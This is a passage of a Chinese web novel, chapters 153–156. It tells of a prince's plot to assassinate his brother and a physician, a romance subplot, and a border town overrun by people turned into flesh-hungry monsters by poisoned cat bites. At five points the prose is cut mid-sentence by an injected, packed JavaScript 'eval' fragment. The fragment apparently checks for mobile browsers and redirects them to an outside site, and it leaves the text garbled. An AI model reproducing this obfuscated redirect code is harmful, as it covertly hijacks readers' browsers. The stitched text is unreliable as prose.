姜瑶真见状,款款上前,纤手轻搭在他肩上,柔声问:“殿下何事动怒?可是朝堂上不顺心?” 萧修湛冷哼一声:“我刚得知,苏家女与五弟定亲,竟是萧凌川那南月杂种牵的线!我还没找他算账,今日他竟在朝堂上**,带兵支援二哥,父皇竟还应允,许他凯旋后重赏! 他一个南月贱种,凭什么得此殊荣?更可气的是,你父亲和那群清流,竟齐声夸他深谋远虑!再这样下去,他的声望怕是要盖过我了!” 姜瑶真轻笑,语气柔和却暗藏锋芒:“殿下何须为此烦心?妾身听闻那南月猫凶残无比,毒性致命,被咬之人无药可救。四皇子既要逞英雄,便让他去送死好了。” “你有所不知,”萧修湛脸上带着不甘,“他身边有个姓孙的神医,据说能迅速配出解毒之药。他此行还要带上这神医,瞧他那模样,似对剿灭南月毒猫胸有成竹!” “孙神医?”姜瑶真心中一凛,暗道难怪几次对萧凌川下毒皆无功而返,原来有此高人护持。 她唇角勾起一抹阴狠笑意,低声道,“殿下,这有何难?杀了那孙神医便是。到时四皇子骑虎难下,只得硬着头皮前往南部边境,独自面对南月毒猫。届时,他与二皇子若双双折在毒猫爪下,殿下不就少了两个心腹大患?” “对!真儿此计甚妙!”萧修湛一把将姜瑶真拉入怀中,让她坐在自己腿上,宠溺地刮了刮她的鼻尖,笑道,“还是真儿聪慧,一语点醒我!说吧,此事若成,我该如何赏你?” 姜瑶真故作娇羞,依在他胸前,柔声道:“殿下是妾身的夫君,妾身为殿下出谋划策乃分内之事。若殿下真要赏妾身,待殿下登上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15739385|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那至高之位,将后位赐予妾身,如何?” “哈哈,好!真儿说得好!”萧修湛朗声大笑,满脸得意,仿佛那皇位已近在眼前,唾手可得。 来福酒楼雅间内,姜瑶真与姜家姨娘在低声密谋。 姜瑶真眼中闪过一丝狠厉:“四皇子已决意亲率兵马,前往南部边境剿杀南月猫。三皇子会在他出发前除掉那孙神医。娘,这是除掉四皇子的绝佳机会,就看你的了!” 姜家姨娘比划着:“放心,如今我已不再受制于他,可放手一搏,取他性命!” 姜瑶真笑意更深:“娘,你这招引蛇出洞果真高明。四皇子还以为自己诱敌成功,殊不知更大的陷阱正等着他!他怕是做梦也想不到,迎接他的远不止南月毒猫。这一次,他休想活着回京!” 姜家姨娘拍了拍她的肩,比划道:“待南月顺利蚕食大邺,便会成为你我助力。到那时,这大邺江山,尽在我们掌中!” 姜瑶真眼中光芒闪烁:“娘,我也盼着这一天早日到来!” 萧修湛专程去了一趟角斗场。 不久前,他曾将一个力大无穷的男子送入此地,一为借其之力赚取财帛,二为砥砺其杀意。 如今,经过无数生死搏杀的锤炼,那人想必已被锻造成一把锋锐而恐怖的利刃。 昏暗的铁笼内,浩力正啃食一块血淋淋的生肉,腥气扑鼻,他却浑然不觉,吃得津津有味。 为了驯服这天生神力的男子,角斗场给他喂下慢性**,需定期服解药,否则浑身如蚁噬骨,奇痒且剧痛难忍。 浩力曾数次逃离,却总因毒发被迫折返。 萧修湛走近,俯视着他,沉声道:“帮我杀一人,我便给你彻底解毒的药方,从此让你摆脱这毒的折磨,如何?” 浩力木然的脸上终于泛起一丝波澜。 他抬头,目光如刀,直视萧修湛:“谁?” 萧修湛唇角勾起一抹阴冷笑意,一字一顿:“四皇子,萧凌川!” 第153章 直白索吻 第一百五十三章直白索吻 偏僻的巷弄中,一位鬓发花白的老者缓步前行,身后紧跟着一名手持利剑、目露凶光的蒙面男子。 那男子骤然挥剑刺向老者,不料“老者”似有所感,敏捷地避开一击,反身之际,手中的刀锋险些划伤蒙面人。 蒙面男子定睛一看,眼前之人根本不是孙神医,而是萧凌川的贴身暗卫凌风! 他心知中计,想抽身而退,凌风却不给他机会,步步紧逼,招招凌厉。 几回合下来,蒙面人便被制服,脸上的黑布也被凌风用剑尖挑落。 露出的面容赫然是萧修湛的随从。 凌风认出他后,冷笑一声:“怎么,三皇子身边无人可用了?竟派一个随从来杀孙神医,就不怕身份暴露,授人以柄?” 随从闻言,神色慌张,咬牙道:“此事是我一人所为,与三皇子无关!要杀要剐,随你处置!” “你这话,还是留着对陛下说吧!”凌风冷哼,准备上前将他捆绑起来,不料那随从像是下定决心,猛地一咬牙,嘴角突然渗出乌黑的血迹,随即倒地不起。 凌风一惊,忙上前探其鼻息,发现人已气绝。 显然,他是咬破藏在牙中的剧毒自尽的。 凌风不由摇头,心中暗叹:这三皇子,果然心狠手辣! 连随从都被养成了死士。 他暗自庆幸,幸亏自家主子不似三皇子这般冷酷无情。 凌风返回景和宫,向萧凌川禀报道:“幸亏殿下早料到三皇子会对孙神医下手,提前将人藏匿妥当,才不至于在今日惨遭三皇子随从的毒手。只可惜那随从吞毒自尽,没能成为揭发三皇子罪行的活证!” 言语间带着几分遗憾。 萧凌川对这个结果并不意外,他深谙萧修湛的谨慎和心狠手辣,只淡淡道:“任务失败,又被你识破身份,即便那随从不自尽,萧修湛也不会留他活口。罢了,今日之事就当杀杀萧修湛的锐气,也算有收获了。” 另一边,麟阁宫内,萧修湛得知刺杀失败,盛怒之下摔碎了一只青花瓷茶盏。 宫人们吓得噤若寒蝉,姜瑶真连忙上前安抚:“殿下何必动怒?就算让他带着孙神医去了南部边境,也未必能派上用场。南月猫凶残异常,说不定孙神医还未制出解药,就已命丧猫口!” 这话让萧修湛怒气稍平,眼中闪过一抹阴鸷:“真儿说得对,南部边境如今局势诡秘,哪有那么容易破局!” 更何况,他还为萧凌川备了一份“大礼”,他就不信,萧凌川能活着回京! 相府,翠竹院。 凌芜匆匆赶来禀报:“大小姐,刚才奴婢收到四皇子传来的消息,请您即刻前往来福酒楼与他相见!” “何事如此急迫?”姜姝宁微微蹙眉,手中的绣针被迫停下。 “奴婢也不清楚,只听说南部边境出了大事,四皇子可能要率兵出征。”凌芜语气急切,催促道,“大小姐,快些走吧!” 说着,她不容姜姝宁迟疑,直接拉着她往门外去。 凌芜习武,力气极大,姜姝宁根本挣脱不开,被拽着前行。 她只能将还未绣完的香囊塞进袖子里。 不多时,她们便抵达来福酒楼。 萧凌川早已在雅间等候,一见她进门,便起身快步迎上。 姜姝宁微微欠身行礼:“臣女见过四皇子……” 话未说完,萧凌川已将她紧紧拥入怀中。 她整个人僵住,双目圆睁,眼中满是难以置信。 他这是……怎么了? 萧凌川双臂收紧,仿佛要将她融入骨血之中:“我要带兵出征了,明日便启程。” 他的嗓音低哑微颤,与平日冷静自持的模样判若两人。 原本打算凯旋归来再见她,可终究按捺不住心绪。 此行凶险,他不知何日能归。 一想到有很长时间见不到她,他就心绪难平。 若不与她见上一面,他怕自己会在征途中思念成疾。 姜姝宁怔忪片刻,才不动声色地从他怀中挣脱,垂眸行礼:“臣女祝殿下旗开得胜,早日凯旋!” 见她这般客套疏离,萧凌川心中泛起一阵酸涩。 前世她的心全系在他身上,每次他远行,她总是满脸担忧,问东问西。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15739386|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 如今他要亲率大军出征,她神色平静,毫无波澜。 “难道你就一点也不担心我?”他忍不住问。 姜姝宁神情依旧淡然:“殿下用兵如神,定能大获全胜。臣女只需静候殿下凯旋归来便好。” 她还记得前世,每次他出远门,她总是细细询问,而他却总是不耐,冷言冷语:“本王的事,何须事无巨细向你交代?” 如今,她又何必自讨没趣? 况且,若无十拿九稳的胜算,他怎会亲自领兵出征? 萧凌川低头凑近她,桃花眸中涌动着浓烈的情意:“那你亲我一下。” 姜姝宁闻言,瞳仁骤缩。 她万没想到他会如此直白地索吻,本能地想要拒绝。 可萧凌川似是铁了心想要得到她的吻,大掌牢牢扣住她的后脑勺,强势地俯身靠近。 挣扎间,她袖中的香囊滑落,掉在了地上。 萧凌川一下便瞧见了,弯腰拾起,仔细端详,眼中泛起亮光:“这是为我准备的?” 当然不是! 姜姝宁险些脱口而出。 这香囊是为萧怀瑾所制,竹青色绸面,内填了提神醒脑的草药。 等萧怀瑾回宫,得知被安排与苏家姑娘结亲,定会心生不满。 若非为了膈应她,萧凌川也不会促成这门亲事。 虽说萧怀瑾不知此事因她而起,但她却无法心安。 这香囊,便是她的一点补偿。 而此刻,这香囊落在了萧凌川手中。 姜姝宁心提到了嗓子眼,生怕他看到香囊上绣着的“瑾”字。 “殿下,这香囊还没做好……” 萧凌川像是没听到她的话一般,自顾自地将香囊凑到鼻尖,深深吸了一口气。 一股浓郁的薄荷清香扑鼻而来,他顿时觉得神清气爽。 “这香囊我很中意。我会随身携带,片刻不离!”他将她拥进怀里,声音软得一塌糊涂,“姝宁,谢谢你!” 她还是在意他的,不然,怎么还跟前世一样做香囊送他? 他没有看到姜姝宁此时一言难尽的表情。 第154章 有怪物 第一百五十四章有怪物 前世,姜姝宁为萧凌川做的香囊,少说也有七八个。 每次送上,他总是眉头紧锁,满脸嫌弃:“哪个男子会随身带着香囊这种东西?” 姜姝宁反驳道:“香囊本就是女子为心上人所制,京城里哪个男子不佩戴?” “总之,我绝不会戴!”他冷冷丢下这句话,随手将香囊扔在桌上,再未多看一眼。 她起初以为,他是真的不喜欢香囊,可后来有一次在他的生辰宴上,姜瑶真派人送来一个香囊,他小心翼翼地收起,藏进了书房。 那刻她才明白,他并非不喜欢香囊,只是不喜欢她做的罢了。 如今,他捧着她为五皇子绣制的香囊,一副视若珍宝的模样,又是何意? 难道世间男子皆是如此,对送到手中的东西视若无睹,却偏偏对那本不该属于自己的事物如获至宝? 哪怕是那样东西是感情? 简直让人心寒! 姜姝宁心中郁结难平,鬼使神差地未曾开口争辩,竟任由他带着那绣着“瑾”字的香囊离去。 心底深处,甚至暗藏一丝恶念,盼着他有朝一日能发现真相。 第二日,大军整装启程,萧凌川特意摸了摸怀中藏着的香囊,心中涌起一丝欣慰。 前世,他其实并不喜欢香囊,尤其是那些添加了香料的,会干扰他对毒物气味的敏锐判断。 因此,他一次次拒绝了姜姝宁亲手所制的香囊。 她离世后,他无意间发现了那些被他随手丢弃在房中的香囊。 针脚细密工整,每一个的图案都各不相同,足见她的用心。 府里的人告诉他,景王妃针线活本就不佳,但为了做出他喜欢的香囊,她总是格外费心,甚至反复揣摩他究竟中意何种样式。 听到这话,他心如刀绞,悔恨不已。 为何前世他不曾坦言,自己厌恶香囊的真正原因? 害她白白揣测他的心意许久,直至离世也不知,他拒绝香囊,并非因图案或绣工不合心意,而是因他害怕香味麻痹嗅觉,让他失去辨别毒物气味的能力。 今生,别说是香料了,就是她在香囊里放**,只要是她亲手做的,他都会视若珍宝。 约莫半个月后,萧凌川带领的五万士兵终于抵达南部边境的城镇——南朔。 还未踏入城门,他便察觉到一股诡异的气息扑面而来。 南朔城内一片死寂,街道上空无一人,房屋破败,墙角甚至长满了青苔,仿佛这座城早已被遗弃了数年。 他怀中的黑豹低吼着,毛发炸起,双眼死死盯着城门深处,喉咙里发出“呜呜”的警告声,似是嗅到了什么极度危险的东西。 凌风骑马近前,皱着眉头四下张望,忍不住开口问道:“殿下,这地方怎么空荡荡的?咱们要进去找二皇子殿下吗?” 萧凌川眯起双眼,冷冷扫了一眼城门内阴暗的巷道,薄唇微抿,语气里带着不容置疑的沉稳:“不急。先让士兵们服下药丸,再烧一锅水,把带来的草药放进去,让他们将兵器浸泡在草药水里至少两个时辰。” “是,殿下!”凌风立刻领命,转身去传令。 出征前,萧凌川特意让孙神医根据黑豹毒牙上的毒,配制了对应的解药。 此次行程凶险,他并未将孙神医带在身边,之前在朝堂上那么说,只为让皇帝相信他有成功剿杀南月猫的能力。 南月人未免太小瞧他了,妄想以区区南月猫攻陷大邺的南朔? 简直是痴心妄想! 他低头,轻抚黑豹光滑的毛发,声音低沉却带着一丝宠溺:“这一战,就看你的了,别让我失望。” 黑豹像是听懂了他的话,用头蹭了蹭他的掌心,似在回应他的期待。 第二日,一切准备妥当。 所有士兵都服下了药丸,手中的兵器也浸泡过草药煮成的水,散发着一股特有的草药味。 萧凌川这才带着几千名精锐士兵先行进入南朔,其余大军则在城外扎营待命。 他心底十分笃定,不过是些南月猫罢了,用不着兴师动众。 待到将这些畜生杀个干净,再让剩余士兵镇守南朔,想必南月不敢再继续造次。 然而,踏入城门的那一刻,萧凌川便感到一股寒意从脚底直窜上脊背。 街道两旁的房屋门窗紧闭,空气中弥漫着一股腐朽的气息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15742866|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,隐约还夹杂着某种腥臭,令人作呕。 黑豹在他怀中不安地扭动,低吼声越发急促,仿佛随时要扑向前方撕咬什么。 “殿下,这地方……不对劲啊。”凌风压低声音,握紧了腰间的长刀,神色紧张地四下打量,“怎么连个活人都没瞧见?莫不是中了埋伏?” 萧凌川冷哼一声,狭长的眼眸中闪过一抹不屑:“埋伏?南月人向来狡诈,但也不过是些上不得台面的小伎俩罢了。” 他顿了顿,目光扫向远处巷道尽头,那里似乎有一团黑影一闪而过。 他心头一紧,连忙吩咐道:“传令下去,所有人提高警惕,若有异动,格杀勿论!” “是!”凌风应声,迅速传令。 可就在这时,远处巷道中突然传来一阵低沉的嘶吼,像是某种野兽濒死的哀鸣,又像是某种东西在用力撕扯血肉的声音。 萧凌川眉心紧蹙,手指下意识按住了腰间的佩剑,黑豹更是直接从他怀中跃下,弓起背脊,露出了尖锐的獠牙。 “什么声音?”凌风咬紧牙关,声音里透着一丝不安,“殿下,要不咱们先退回去?” “虚张声势罢了,何须惧怕?给我往前探,看他们到底在玩什么花样!”萧凌川声音低沉而冰冷,像是从地狱里刮出来的风,带着让人不寒而栗的杀意。 然而,他的话音刚落,巷道深处骤然传来一阵急促的脚步声,紧接着,一道人影踉跄着冲了出来。 那人衣衫褴褛,脸上满是惊恐,见到萧凌川一行人,像是抓住了救命稻草,嘶哑着嗓子喊道:“殿下!救命!城里……城里有怪物!” 凌风上前一步,挡住他,沉声喝问:“你是何人?二皇子殿下现在何处?” “回四皇子殿下,我、我是二皇子身边的贴身侍卫,二皇子他此刻藏身于一处隐秘之地,等待救援!”那侍卫声音颤抖,几欲哭出声来,“殿下,求您快救救二皇子吧,我们的人快撑不住了!” 萧凌川面色冷峻,语气中带着几分不屑:“不过是些带毒的野猫罢了,竟将你们吓成这副模样!” “殿下,那不是猫,是……”侍卫哆嗦了半天,才挤出一句话,“是半人半兽的怪物啊!” 第155章 双目赤红、状若疯魔的“人” 第一百五十五章双目赤红、状若疯魔的“人” “你说什么?人?”萧凌川满脸狐疑,“咬伤士兵的不是南月猫吗?” 就在此时,几个人影忽然从巷道冒了出来。 他们行动僵硬,姿势怪异,有些穿着侍卫的铠甲,有些穿着寻常百姓的衣服,但无一例外,他们双目赤红,瞳孔涣散,脸上毫无表情,宛如一具具没有灵魂的行尸走肉,正一步步朝他们逼近。 空气中那股腐朽的腥臭味似乎更加浓郁了,令人闻之欲呕。 那贴身侍卫见到这番景象,吓得魂飞魄散,指着那些逼近的人影惊恐大叫:“殿下,他、他们来了!就是他们!” 萧凌川还未反应过来,其中一名穿着侍卫铠甲的男子,突然一跃而起,像一头捕食的饿狼,张开布满黑色血丝的嘴,露出尖锐的牙齿,直直扑向他! 说时迟那时快,一直警惕地弓着背脊的黑豹,喉咙里发出一声低沉的咆哮,如一道黑色的闪电般腾空而起,锋利的爪牙闪过一道寒光,下一刻,它狠狠咬住了那名侍卫打扮男子的喉咙! 那人发出一声怪叫,重重地摔倒在地,脖颈处鲜血狂涌,流出的血却不是正常的鲜红色,而是带着一股恶臭的黑红色液体,在地上迅速凝固成一滩令人作呕的污迹。 这突如其来的血腥场面,仿佛一个信号,瞬间刺激到了巷道里其他那些神色木然的人。 他们忽然发出意义不明的嘶吼,一个个双眼更加赤红,疯了一般朝着萧凌川带领的队伍猛扑过来! “该死!”萧凌川暗骂一声,意识到眼前的局面远比他预想的要棘手得多。 “快,撤退!不要让他们碰到,也不要伤害他们!”他当机立断,厉声下令。 这些变得人不人鬼不鬼的东西虽然可怖,但他仍记得他们是大邺的子民。 听到萧凌川的命令,训练有素的士兵们虽然心中也充满了恐惧和困惑,但还是迅速反应过来,纷纷举起手中的盾牌,紧密地靠拢在一起,形成一道密不透风的钢铁之墙。 那些扑上来的“人”狠狠地撞在盾牌上,发出“砰砰砰”的闷响,尖锐的指甲在盾牌上划出一道道刺耳的摩擦声,留下深浅不一的抓痕。 “后退!保持阵型!”凌风一边挥刀格挡着试图从缝隙中攻击的“人”,一边大声指挥着士兵们有序后撤。 好在这些“人”似乎失去了理智,只知道一味地猛冲猛撞,并没有什么战术可言。 萧凌川带领的队伍有惊无险地成功退回到了南朔城外。 城外阳光明媚,与城内的阴森诡异形成了鲜明的对比。 士兵们大口喘着粗气,脸上兀自带着惊魂未定的神色。 方才那一幕,实在太过骇人。 萧凌川面沉似水,转向那个惊魂未定的二皇子贴身侍卫,沉声问道:“方才那些人,到底怎么回事?” 那贴身侍卫这才回过神来,嘴唇哆嗦着将这几个月来发生在南朔城的诡异事件原原本本地告知了萧凌川。 原来,自从二皇子带领残部从南月国败退回大邺的南朔城后,那些尾随而来的南月猫便开始在城中肆虐。 它们攻击和咬伤士兵和百姓,被咬伤的人,有些当场毙命,伤口处流出黑色的毒血,死状凄惨。 但这还不是最可怕的。 最可怕的是,一部分被南月猫咬伤的士兵和百姓并没有立刻死去,而是经历了一段痛苦的高烧和抽搐之后,身体发生了诡异的变化。 他们的眼睛会逐渐变成骇人的赤红色,失去所有的神智和情感,变得力大无穷,凶残无比,而且和那些南月猫一样,对活人的血肉有着强烈的渴望,见人就咬。 随着时间的推移,这些被感染变异的人越来越多,像一场无法控制的瘟疫,在南朔城中迅速蔓延。 他们不再认识昔日的同袍和亲人,只知道疯狂地攻击一切活物。 许多来不及躲避的士兵和百姓,都在睡梦中或者不经意间,被这些曾经的同伴偷袭致死,场面惨不忍睹。 二皇子和幸存的士兵们想尽了各种办法,试图阻止这场灾难,但都无济于事。 那些变异的人仿佛不知疼痛,不知疲倦,即使被刀剑砍伤,只要没有伤及要害,很快又能重新站起来继续攻击。 无奈之下,二皇子只能带着剩余的士兵和一些侥幸存活下来的百姓,躲进了城中一处废弃的地窖里,依靠百姓们早先存储起来准备过冬的粮食勉强度日,苦苦支撑,等待着朝廷的救援。 那侍卫说到最后,声音已经带上了浓浓的哭腔,噗通一声跪倒在萧凌川面前,哀求道:“殿下,求求您,快想办法救救二皇子殿下和城里的百姓吧!再不想办法,他们怕是会冲出这南朔城,跑到大邺其他疆土上去,那、那后果不堪设想啊!到时候,整个大邺,怕是都要遭殃了!” 萧凌川脸色越来越阴沉,周身散发出的寒气几乎能将空气冻结。 他原以为南月人只是想用毒猫制造混乱,却没想到这毒猫竟能将毒传染给人,把活人变成这般嗜血的怪物! 这已经超出了战争的范畴,简直是丧心病狂! 南朔城是大邺最南端的一座边陲小城,与南月国之间仅仅隔着一座连绵起伏的山脉。 不过,南朔城与大邺内陆的另一个相邻城镇南阳之间,隔着一条宽阔湍急的大河。 或许正是因为这条天然的屏障,那些被南月猫咬伤后变异的人,才暂时无法离开南朔,去危害大邺其他地区的百姓。 这真是不幸之中的万幸。 否则,若是让这些怪物涌入大邺腹地,后果简直不堪设想。 凌风站在一旁,听着侍卫的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15742867|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叙述,脸色也变得异常难看。 一想到方才那些双目赤红、状若疯魔的“人”,他便感到一阵阵心有余悸。 饶是他这种见惯了生死搏杀的暗卫,也从未见过如此诡异恐怖的景象。 “殿下,我们……我们该怎么办?”凌风艰难地开口问道。 萧凌川紧抿着薄唇,深邃的眼眸中闪烁着复杂的光芒。 如今**变异的不仅仅是士兵,还有大量的南朔城百姓。 如果他此刻下令,调集大军,不顾一切地冲进城中,将所有变异的人全部斩杀,或许能够以最快的速度解决这场危机。 但是,那样一来,他的名声,便会彻底染上屠戮无辜百姓的污点。 身为大邺皇子,却将屠刀对准了自己的子民,将来就算他真的能够登上那个至高无上的位置,也未必能得到天下百姓的真心敬仰和拥戴。 所以,这些**变异的百姓和侍卫,他不仅不能轻易下令格杀,还得想办法救他们! 他思忖片刻,沉声道:“凌风,立刻派人去设一个陷阱,抓一个活的、已经变异了的人回来。记住,要活的!然后,你立刻派一队快马,将此人严密看管,火速送回京城,交给孙神医,让他务必在最短的时间内,研制出解药!” “这……”凌风闻言,脸上露出了犹豫之色,“殿下,捕捉那些怪物本就凶险万分,而且这一来一回京城,路途遥远,怕是会耽误不少功夫。况且,二皇子殿下和城里的幸存者还在地窖里困着,他们恐怕撑不了太久啊!” 萧凌川何尝不知道时间的紧迫,但他更清楚,如果不找到解药,即使救出了二哥和那些幸存者,这场灾难也远远没有结束。 那些变异的人,就像一颗颗随时可能引爆的**,威胁着整个大邺的安危。 “我知道。”萧凌川的声音低沉而坚定,带着不容置疑的决绝,“但是,解药必须尽快研制出来。否则,就算我们暂时控制住了南朔城的局势,也无法从根本上解决问题。” 他稍作停顿,目光扫过身旁神色各异的将士,沉声道:“挑选二十名身手最为矫健、意志最为坚定的精兵,命他们穿上浸泡草药的特制铠甲,携带最精良的武器,随我再度入南朔城!” 凌风闻言大惊:“殿下,您要亲自进城?这太危险了!城里那些怪物……” “无妨。”萧凌川打断了他的话,眼神锐利如鹰隼,“二哥还在城中等着我去救他,我岂能坐视不理?而且,只有亲眼看看城中的情况,才能制定出最有效的应对之策。” 他的语气平静,却透着一股令人心悸的寒意,“若我们此时退缩,反倒遂了南月人的意!” 他漆黑的眼眸中,闪过一丝冰冷的杀意。 南月国,既然你们敢用如此歹毒的手段来挑衅大邺,那就别怪我心狠手辣! 第156章 他们渴求的,是人的血肉! 第一百五十六章他们渴求的,是人的血肉! 凌芜听闻凌风带了个身中诡异毒物的侍卫回了京城,准备找孙神医研制解药,顿时坐立不安。 她想去帮凌风的忙,可又不知如何向姜姝宁开口,才不至于暴露她是四皇子殿下手下这个身份。 犹豫了片刻,凌芜灵光一闪,想到了一个法子。 她模仿凌风的笔迹,写下了一张字条。 字条上,她以凌风的口吻,言辞恳切地请求姜姝宁前往孙神医处帮忙,并着重强调此事十万火急,若处理不好,萧凌川和二皇子都可能葬身南朔边境。 写完之后,她将字条绑在一支羽箭上,将箭射进姜姝宁的房里。 一声轻响,箭矢稳稳地钉在了窗棂上。 姜姝宁正手捧着一本书看得入神,被这突如其来的声音吓了一跳。 她起身走到窗边,一眼便看到了那支绑着字条的箭。 展开字条一看,姜姝宁的脸色顿时变得凝重起来。 她唤来凌芜,将字条上的内容简单说了一遍,吩咐道:“凌芜,你随我一同去字条上所说的住处。” 凌芜强压下心头的激动,故作平静地应道:“是,大小姐。” 两人依照字条上的地址,来到京城一处十分隐蔽的宅院外。 这宅院看起来普普通通,毫不起眼,若不是字条指引,任谁也想不到这里会是孙神医的藏身之处。 凌芜上前叩响了门环,不多时,一个面容普通的仆人便开了门。 听她们表明身份,仆人脸上的戒备之色方才散去,侧身让出一条路,低声道:“两位请随我来。” 仆人将她们带到一间屋子前,便自行退下了。 恰在此时,房门“吱呀”一声从里面打开,凌风高大的身影出现在门口。 他看到姜姝宁,脸上露出了明显的诧异之色:“姜姑娘,您怎么来了?” 凌芜见状,连忙抢先开口道:“我们大小姐收到你的字条了!凌风大人,到底出什么事了?字条上说殿下和二皇子殿下有危险,是不是真的?说吧,想我们怎么帮忙?” 她一边说着,一边朝凌风使了个眼色,示意他配合。 凌风瞬间明白了她的意图,连忙对姜姝宁拱手道:“姜姑娘,实不相瞒,我们这里确实遇到了一些棘手的麻烦,正缺人手。不知……能否让您身边的这位婢女留下来帮帮忙?” 其实,他们缺的并非普通的人手,而是绝对信得过的人。 孙神医的住处乃是机密,绝不能轻易暴露,否则一旦被三皇子的人察觉,后果不堪设想。 更何况,从南朔带回来的那个中了毒的侍卫,其状诡异,若是被人发现,定然会在京城引起巨大的恐慌。 凌芜无疑是最合适的人选。 姜姝宁闻言,毫不犹豫地点了点头:“自然可以。凌芜,你留下来帮凌风大人吧。” 她顿了顿,又看向凌风,神色认真地说道,“我既然来了,也愿意尽一份力。说吧,我能为你们做些什么?” 话音刚落,屋里忽然传来一阵令人毛骨悚然的嘶吼声,那声音不似人声,倒像是某种野兽在濒死前发出的绝望咆哮,尖锐而凄厉,听得人头皮发麻。 紧接着,孙神医略显焦急的声音从屋里传了出来:“凌风大人!老夫让你准备的热水,你到底准备好了没有?!” 凌风这才猛然想起这茬,他连忙对姜姝宁道:“姜姑娘,实在是抱歉,我先去准备热水,您和凌芜姑娘先进屋稍等片刻!” 说着,便急匆匆地转身离开了。 姜姝宁心中疑惑重重,她深吸一口气,和凌芜一起走进了那间散发着诡异气息的屋子。 屋内的光线有些昏暗,只点着几支摇曳的烛火,空气中弥漫着一股难以形容的腥臭味,不同于寻常的血腥,更像是什么东西腐烂后散发出的恶臭,令人闻之欲呕。 孙神医正背对着门口,俯身站在一张木床边,手中捏着几根细长的银针,小心翼翼地刺入床上之人的穴位。 床上躺着一个被粗壮的麻绳牢牢地捆绑着的人,他四肢不断地挣扎扭动,发出“呜呜”的低吼。 此人双眼猩红如血,布满了骇人的血丝,面容狰狞扭曲,额头上青筋暴起,嘴里不时发出一阵阵野兽般的嘶吼,声音嘶哑而恐怖。 姜姝宁只看了一眼,便觉得浑身发冷,头皮一阵阵发麻。 她甚至在那人张开的嘴里,看到了若隐若现的、尖锐的獠牙。 “孙神医,”她强忍着心中的恐惧和不适,开口道,“有什么是我能帮得上忙的吗?” 听到她的声音,孙神医这才缓缓抬起头来:“姜姑娘?你来了?” 姜姝宁的脸色有些发白,她指着床上那个不断嘶吼挣扎的人,声音微微颤抖地问道:“孙神医,这……这是什么?” “姜姑娘,不瞒你说,此人中了极为罕见的毒,这毒是被南月猫咬伤后染上的,这种毒能让人丧失神智,变得如野兽一般嗜血凶残,见人就撕咬。 而此时的南朔边境就遍地是中了这种毒的大邺百姓。若老夫无法尽快研制出解药,四皇子和二皇子将会被困在南朔边境,甚至丧生。” 姜姝宁心头一颤,脑海中不由浮现萧凌川离别前那张俊美脸庞上异样的神情。 她以为这是一场胜券在握 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15759001|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的出征,没想到他会陷入如此凶险的境地。 她还让他带走了那个根本不是送他的香囊。 一想到此处,姜姝宁心中莫名愧疚。 早知他此行凶险,她就应该为他准备平安符才对。 “孙神医,你可有解毒的法子?”她收起思绪,问道。 孙神医叹了口气,目光重新落在那挣扎不休的病人身上:“老夫正在尝试,可这毒太诡异了,寻常的药方根本不起作用,还得配合施针,方能帮他将毒排出体外。 可如今你也看到了,这中了毒的人张牙舞爪,不肯配合,就算老夫能治得了他,单凭老夫一人,也未必能治得了南朔那么多**的百姓啊!” 姜姝宁顺着他的目光看去,床上那人仍在拼命挣扎,麻绳勒进他皮肤,渗出丝丝血迹,却仿佛感觉不到疼痛。 他的喉咙里不断发出低沉的嘶吼,模样骇人至极。 